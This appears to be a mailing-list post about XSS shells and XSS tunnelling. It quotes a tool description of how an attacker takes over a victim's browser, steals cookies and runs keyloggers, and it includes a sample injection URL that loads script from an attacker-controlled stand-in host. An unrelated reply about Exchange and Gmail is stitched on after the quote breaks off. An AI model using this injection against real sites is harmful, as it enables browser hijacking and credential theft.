is virus prone], is that you, as users, (and budding professional) as you head 
to conferences, begin contracting and continue to work in IT, understand 
XSS-Shells and XSS-Proxies?  

Comparison of apples and oranges [as bias 
http://en.wikipedia.org/wiki/Cognitive_bias] is still stupid BTW!

Yes, LiveMail MSN provides FREE DOMAIN mail services; IMAP/Pop3/SMTP, but their 
web interface WILL NOT WORK with Firefox 3.1.

[Of course I could launch the exploit (pointing to the site "trap") from 
obno...@gmail.com or any of my other "free" accounts that all forward to each 
other to take advantage of "free" spam management while maintaining web 
presence?  I could also easily snag any of the many Linux "drop and play" XSS 
Shells/Tunnel kits to place into Myspace, WordPress, LiveJournal or any other 
site that allows user Javascript/HTML, (join some Linux based groups) make like 
a spider and wait?]  

I could also use any of the sendmail/MailScanner/Postfix/Exim mail MTA servers 
I have built and have mail sent directly to my shell based pine or other client 
(another HackFest lab session will cover insecurities simply from being able to 
lay on a file via mail clients).

Because I use MSN web mail, this MS based XSS exploit (like any other XSS 
javascript tools
) is of equal threat to me than gmail, yahoo.com should I follow adequate HUMAN 
TRUST safeguards (see below).

The only way this XSS-Shell or XSS Proxy will work, should you follow the full 
instructions, if IF I, as a user kick off a javascript "trap" (from IIS for 
this particular MSN exploit) [or another web source for any other simple 
Firefox/Safari/Konqurer Linux/BSD/OSX or JVM based XSS traps].

These USER actions, incidently, are the SAME insecure steps incidently that can 
infect a KDE or Gnome system via .desktop written exploit:  
http://www.geekzone.co.nz/foobar/6229

Insecure USER ACTIONS include reading HTML email, opening attachments, 
accessing Social Sharing Connection websites that allow user input, or clicking 
links from sites that you DO NOT COMPLETELY TRUST.

Firefox NOSCRIPT is recommended to assist to browse with some level of trust.

excerpt from Ferruh Mavituna for this particular .NET Tool:

About XSS Tunnelling

In order to understand what XSS Tunneling is and how it works; you first need to
understand what an XSS Channel is and how XSS Channels operate.
This document assumes that you are familiar with XSS attacks.

What Is An XSS Channel?

An XSS Channel is an interactive communication channel between two systems
which is opened by an XSS attack. At a technical level, it is a type of AJAX
application which can obtain commands, send responses back and is able to talk
cross-domain.

The XSS Shell is a tool that can be used to setup an XSS Channel between a 
victim
and an attacker so that an attacker to control a victim’s browser by sending it
commands. This communication is bi-directional.

To get the XSS Shell to work an attacker needs to inject the XSS Shell’s 
JavaScript
reference by way of an XSS attack. The attacker is then able to control the 
victim’s
browser. After this point the attacker can see requests, responses and is able 
to
instruct the victim’s browser to carryout requests etc.

A sample injection attack is shown below:

http://example.com/q=";>http://xssshellserver/xssshell.asp";>

How Does XSS Shell Work?

The XSS Shell is an application which has three main parts.

Firstly, the server side part of the XSS Shell coordinates the XSS Shell 
between an
attacker and the victim. It is a server-side application and requires an ASP 
and IIS
web server. It uses an MS Access database as storage.

The second part of the tool is client-side and written in JavaScript. This 
loads in the
victim’s browser and is responsible for the receiving and processing of commands
together with providing the channel between the victim and the attacker. This 
code
was tested under Firefox, IE6 and IE7.

The final part of the XSS Shell is the administration interface. An attacker 
can send
new commands and receive the responses from a victim(s) browser instantly from
this interface. Again it is ASP and requires IIS.

All of the following steps do not wait for each other and are constantly 
checking for responses and
requests within specified time delays.

1. An attacker infects a website with a persistent or reflected (temporary) XSS
attack which calls remote XSS Shell JavaScript.

2. The Victim follows a link or visits the page and executes the JavaScript 
within
that domain.

3. The Victim’s browser begins to perform periodic requests to the XSS Shell
Server and looks for new commands.

4. When the victim browser receives a new command such as (Get Cookies,
Execute custom JavaScript, Get Key logger D

Re: OT:Exchange good? (Was:Re: new hotness?)

[Stephen]

i can see this happening, and i would like to see more options besides
exchange. i think its healthy for dev teams to have something to
compete against.

but remember exchange is also backed by a huge suite of other things
that all work together and it all integrates. thats the flip side that
competing devs need to take a stab at as well. not just email but full
office collaboration. but i think that if it did come up it would be
very groovy to see.

and personally my favorite email client is the gmail web interface. i
really have grown to love the way it threads conversations and handles
email mass. so a 97 email topic is still just one line marked with new
content.
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